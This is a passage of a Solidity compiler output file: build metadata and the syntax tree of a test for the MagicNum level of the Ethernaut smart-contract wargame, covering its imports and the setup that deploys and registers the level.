":{"keccak256":"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422","urls":["bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b","dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq"],"license":"MIT"},"src/Ethernaut.sol":{"keccak256":"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0","urls":["bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2","dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v"],"license":"MIT"},"src/attacks/MagicNumBadSolver.sol":{"keccak256":"0xb46415e9a27c0f63e5b0f5704b5d009e5e52ff2acf2451e2552c490c54957728","urls":["bzz-raw://c1c560e7f46a9167d4bdb9e550d13713a5a5a9e9819630f9ce9de610d49633d8","dweb:/ipfs/QmSHeGUYUNAtqxCKbCxw8BiJYesFZxvWg9zyZo9kLijpWM"],"license":"MIT"},"src/attacks/MagicNumSolver.sol":{"keccak256":"0x841263e39394f2bafe7fc2918863b5a564dafd8191fc6e7e96de3bc2ed276398","urls":["bzz-raw://d9cd9d8c871ad1292e2b3d2ad47e4354bf76b827ccdd4eb0d0f1b96966707199","dweb:/ipfs/QmfXyKLcJHcJQL59yf4JxbZMPRZoYHpmDb8vXQXm6nYfhx"],"license":"MIT"},"src/levels/MagicNum.sol":{"keccak256":"0xf2ee0db5bfcce4187f08758ef42da2ba22c643aee505ba74989234884cb60c2b","urls":["bzz-raw://9fae110ba0676d38d647b370f76d2d2412d862571450508a36ce87bb7ddbd556","dweb:/ipfs/QmXtzuvnfPia4Z8ccRDVr2TxPHsM1XQTGGJkRdxNHkgTeF"],"license":"MIT"},"src/levels/MagicNumFactory.sol":{"keccak256":"0x0fce57f6969d5acd3240cb3a27ceb596f62716f1383c783e8dd45baf5e97407d","urls":["bzz-raw://7321db582e05d51c03cc22892ff69ba0eb9a171516c3acc25652f2b3a82f7d29","dweb:/ipfs/QmXucXAgsnyHWjtb2yW4qZN6fV8UTHsGPbWRx3TkaJ1LaX"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"},"src/metrics/Statistics.sol":{"keccak256":"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca","urls":["bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5","dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf"],"license":"MIT"},"src/proxy/ProxyStats.sol":{"keccak256":"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be","urls":["bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2","dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS"],"license":"MIT"},"test/levels/MagicNum.t.sol":{"keccak256":"0x20408c2d660f6590cc513bc93f12fb8cd3f653a5e08b4621c702fd647f354a79","urls":["bzz-raw://8e69e0979af50d2367e8b368a4fd68c5f2ddcee637512a721be171c948679903","dweb:/ipfs/QmUZKLfRnBp9DhAFbf7WoF1bKu4qgaks4jscGzoc9X2bKv"],"license":"MIT"},"test/utils/Utils.sol":{"keccak256":"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307","urls":["bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998","dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"test/levels/MagicNum.t.sol","id":62573,"exportedSymbols":{"Ethernaut":[49101],"Level":[55508],"MagicNum":[53733],"MagicNumBadSolver":[49611],"MagicNumFactory":[53814],"MagicNumSolver":[49619],"StdAssertions":[2695],"StdChains":[3477],"StdCheats":[6330],"StdInvariant":[6655],"StdStorage":[7427],"StdStyle":[10597],"StdUtils":[11975],"Test":[12027],"TestBase":[65],"TestMagicNum":[62572],"Utils":[66673],"Vm":[15673],"console":[23737],"console2":[31862],"safeconsole":[46587],"stdError":[6396],"stdJson":[7247],"stdMath":[7389],"stdStorage":[9386],"stdToml":[11189]},"nodeType":"SourceUnit","src":"32:2155:138","nodes":[{"id":62364,"nodeType":"PragmaDirective","src":"32:23:138","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":62365,"nodeType":"ImportDirective","src":"57:28:138","nodes":[],"absolutePath":"lib/forge-std/src/Test.sol","file":"forge-std/Test.sol","nameLocation":"-1:-1:-1","scope":62573,"sourceUnit":12028,"symbolAliases":[],"unitAlias":""},{"id":62367,"nodeType":"ImportDirective","src":"86:43:138","nodes":[],"absolutePath":"test/utils/Utils.sol","file":"test/utils/Utils.sol","nameLocation":"-1:-1:-1","scope":62573,"sourceUnit":66674,"symbolAliases":[{"foreign":{"id":62366,"name":"Utils","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66673,"src":"94:5:138","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":62369,"nodeType":"ImportDirective","src":"131:49:138","nodes":[],"absolutePath":"src/levels/MagicNum.sol","file":"src/levels/MagicNum.sol","nameLocation":"-1:-1:-1","scope":62573,"sourceUnit":53734,"symbolAliases":[{"foreign":{"id":62368,"name":"MagicNum","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53733,"src":"139:8:138","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":62371,"nodeType":"ImportDirective","src":"181:63:138","nodes":[],"absolutePath":"src/levels/MagicNumFactory.sol","file":"src/levels/MagicNumFactory.sol","nameLocation":"-1:-1:-1","scope":62573,"sourceUnit":53815,"symbolAliases":[{"foreign":{"id":62370,"name":"MagicNumFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53814,"src":"189:15:138","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":62373,"nodeType":"ImportDirective","src":"245:68:138","nodes":[],"absolutePath":"src/attacks/MagicNumBadSolver.sol","file":"src/attacks/MagicNumBadSolver.sol","nameLocation":"-1:-1:-1","scope":62573,"sourceUnit":49612,"symbolAliases":[{"foreign":{"id":62372,"name":"MagicNumBadSolver","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49611,"src":"253:17:138","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":62375,"nodeType":"ImportDirective","src":"314:62:138","nodes":[],"absolutePath":"src/attacks/MagicNumSolver.sol","file":"src/attacks/MagicNumSolver.sol","nameLocation":"-1:-1:-1","scope":62573,"sourceUnit":49620,"symbolAliases":[{"foreign":{"id":62374,"name":"MagicNumSolver","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49619,"src":"322:14:138","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":62377,"nodeType":"ImportDirective","src":"377:48:138","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"src/levels/base/Level.sol","nameLocation":"-1:-1:-1","scope":62573,"sourceUnit":55509,"symbolAliases":[{"foreign":{"id":62376,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"385:5:138","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":62379,"nodeType":"ImportDirective","src":"426:44:138","nodes":[],"absolutePath":"src/Ethernaut.sol","file":"src/Ethernaut.sol","nameLocation":"-1:-1:-1","scope":62573,"sourceUnit":49102,"symbolAliases":[{"foreign":{"id":62378,"name":"Ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49101,"src":"434:9:138","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":62572,"nodeType":"ContractDefinition","src":"472:1714:138","nodes":[{"id":62386,"nodeType":"VariableDeclaration","src":"515:19:138","nodes":[],"constant":false,"mutability":"mutable","name":"ethernaut","nameLocation":"525:9:138","scope":62572,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},"typeName":{"id":62385,"nodeType":"UserDefinedTypeName","pathNode":{"id":62384,"name":"Ethernaut","nameLocations":["515:9:138"],"nodeType":"IdentifierPath","referencedDeclaration":49101,"src":"515:9:138"},"referencedDeclaration":49101,"src":"515:9:138","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"visibility":"internal"},{"id":62389,"nodeType":"VariableDeclaration","src":"540:17:138","nodes":[],"constant":false,"mutability":"mutable","name":"instance","nameLocation":"549:8:138","scope":62572,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_MagicNum_$53733","typeString":"contract MagicNum"},"typeName":{"id":62388,"nodeType":"UserDefinedTypeName","pathNode":{"id":62387,"name":"MagicNum","nameLocations":["540:8:138"],"nodeType":"IdentifierPath","referencedDeclaration":53733,"src":"540:8:138"},"referencedDeclaration":53733,"src":"540:8:138","typeDescriptions":{"typeIdentifier":"t_contract$_MagicNum_$53733","typeString":"contract MagicNum"}},"visibility":"internal"},{"id":62391,"nodeType":"VariableDeclaration","src":"564:21:138","nodes":[],"constant":false,"mutability":"mutable","name":"owner","nameLocation":"580:5:138","scope":62572,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":62390,"name":"address","nodeType":"ElementaryTypeName","src":"564:15:138","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":62393,"nodeType":"VariableDeclaration","src":"591:22:138","nodes":[],"constant":false,"mutability":"mutable","name":"player","nameLocation":"607:6:138","scope":62572,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":62392,"name":"address","nodeType":"ElementaryTypeName","src":"591:15:138","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":62495,"nodeType":"FunctionDefinition","src":"800:592:138","nodes":[],"body":{"id":62494,"nodeType":"Block","src":"824:568:138","nodes":[],"statements":[{"assignments":[62398],"declarations":[{"constant":false,"id":62398,"mutability":"mutable","name":"users","nameLocation":"859:5:138","nodeType":"VariableDeclaration","scope":62494,"src":"834:30:138","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[]"},"typeName":{"baseType":{"id":62396,"name":"address","nodeType":"ElementaryTypeName","src":"834:15:138","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":62397,"nodeType":"ArrayTypeName","src":"834:17:138","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_storage_ptr","typeString":"address payable[]"}},"visibility":"internal"}],"id":62402,"initialValue":{"arguments":[{"hexValue":"32","id":62400,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"879:1:138","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"}],"id":62399,"name":"createUsers","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66448,"src":"867:11:138","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_uint256_$returns$_t_array$_t_address_payable_$dyn_memory_ptr_$","typeString":"function (uint256) returns (address payable[] memory)"}},"id":62401,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"867:14:138","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"nodeType":"VariableDeclarationStatement","src":"834:47:138"},{"expression":{"id":62407,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":62403,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62391,"src":"892:5:138","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":62404,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62398,"src":"900:5:138","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":62406,"indexExpression":{"hexValue":"30","id":62405,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"906:1:138","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"900:8:138","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"892:16:138","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":62408,"nodeType":"ExpressionStatement","src":"892:16:138"},{"expression":{"arguments":[{"id":62412,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62391,"src":"927:5:138","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4f776e6572","id":62413,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"934:7:138","typeDescriptions":{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""},"value":"Owner"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""}],"expression":{"id":62409,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"918:2:138","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62411,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"921:5:138","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"918:8:138","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":62414,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"918:24:138","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62415,"nodeType":"ExpressionStatement","src":"918:24:138"},{"expression":{"id":62420,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":62416,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62393,"src":"953:6:138","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":62417,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62398,"src":"962:5:138","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":62419,"indexExpression":{"hexValue":"31","id":62418,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"968:1:138","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"962:8:138","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"953:17:138","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":62421,"nodeType":"ExpressionStatement","src":"953:17:138"},{"expression":{"arguments":[{"id":62425,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62393,"src":"989:6:138","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"506c61796572","id":62426,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"997:8:138","typeDescriptions":{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""},"value":"Player"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""}],"expression":{"id":62422,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"980:2:138","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62424,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"983:5:138","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"980:8:138","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":62427,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"980:26:138","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62428,"nodeType":"ExpressionStatement","src":"980:26:138"},{"expression":{"arguments":[{"id":62432,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62391,"src":"1031:5:138","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":62429,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1017:2:138","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62431,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1020:10:138","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1017:13:138","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":62433,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1017:20:138","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62434,"nodeType":"ExpressionStatement","src":"1017:20:138"},{"expression":{"id":62439,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":62435,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62386,"src":"1047:9:138","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":62437,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62391,"src":"1086:5:138","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":62436,"name":"getEthernautWithStatsProxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66624,"src":"1059:26:138","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$_t_contract$_Ethernaut_$49101_$","typeString":"function (address) returns (contract Ethernaut)"}},"id":62438,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1059:33:138","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"src":"1047:45:138","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":62440,"nodeType":"ExpressionStatement","src":"1047:45:138"},{"assignments":[62443],"declarations":[{"constant":false,"id":62443,"mutability":"mutable","name":"factory","nameLocation":"1118:7:138","nodeType":"VariableDeclaration","scope":62494,"src":"1102:23:138","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_MagicNumFactory_$53814","typeString":"contract MagicNumFactory"},"typeName":{"id":62442,"nodeType":"UserDefinedTypeName","pathNode":{"id":62441,"name":"MagicNumFactory","nameLocations":["1102:15:138"],"nodeType":"IdentifierPath","referencedDeclaration":53814,"src":"1102:15:138"},"referencedDeclaration":53814,"src":"1102:15:138","typeDescriptions":{"typeIdentifier":"t_contract$_MagicNumFactory_$53814","typeString":"contract MagicNumFactory"}},"visibility":"internal"}],"id":62448,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":62446,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"1128:19:138","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_MagicNumFactory_$53814_$","typeString":"function () returns (contract MagicNumFactory)"},"typeName":{"id":62445,"nodeType":"UserDefinedTypeName","pathNode":{"id":62444,"name":"MagicNumFactory","nameLocations":["1132:15:138"],"nodeType":"IdentifierPath","referencedDeclaration":53814,"src":"1132:15:138"},"referencedDeclaration":53814,"src":"1132:15:138","typeDescriptions":{"typeIdentifier":"t_contract$_MagicNumFactory_$53814","typeString":"contract MagicNumFactory"}}},"id":62447,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1128:21:138","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_MagicNumFactory_$53814","typeString":"contract MagicNumFactory"}},"nodeType":"VariableDeclarationStatement","src":"1102:47:138"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"id":62455,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62443,"src":"1197:7:138","typeDescriptions":{"typeIdentifier":"t_contract$_MagicNumFactory_$53814","typeString":"contract MagicNumFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_MagicNumFactory_$53814","typeString":"contract MagicNumFactory"}],"id":62454,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1189:7:138","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":62453,"name":"address","nodeType":"ElementaryTypeName","src":"1189:7:138","typeDescriptions":{}}},"id":62456,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1189:16:138","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":62452,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1183:5:138","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":62457,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1183:23:138","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"expression":{"id":62449,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62386,"src":"1159:9:138","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":62451,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1169:13:138","memberName":"registerLevel","nodeType":"MemberAccess","referencedDeclaration":48913,"src":"1159:23:138","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) external"}},"id":62458,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1159:48:138","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62459,"nodeType":"ExpressionStatement","src":"1159:48:138"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":62460,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1217:2:138","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62462,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1220:9:138","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1217:12:138","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":62463,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1217:14:138","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62464,"nodeType":"ExpressionStatement","src":"1217:14:138"},{"expression":{"arguments":[{"id":62468,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62393,"src":"1256:6:138","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":62465,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1242:2:138","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62467,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1245:10:138","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1242:13:138","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":62469,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1242:21:138","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62470,"nodeType":"ExpressionStatement","src":"1242:21:138"},{"expression":{"id":62487,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":62471,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62389,"src":"1273:8:138","typeDescriptions":{"typeIdentifier":"t_contract$_MagicNum_$53733","typeString":"contract MagicNum"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"arguments":[{"id":62476,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62386,"src":"1321:9:138","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"arguments":[{"id":62480,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62443,"src":"1346:7:138","typeDescriptions":{"typeIdentifier":"t_contract$_MagicNumFactory_$53814","typeString":"contract MagicNumFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_MagicNumFactory_$53814","typeString":"contract MagicNumFactory"}],"id":62479,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1338:7:138","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":62478,"name":"address","nodeType":"ElementaryTypeName","src":"1338:7:138","typeDescriptions":{}}},"id":62481,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1338:16:138","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":62477,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1332:5:138","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":62482,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1332:23:138","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract 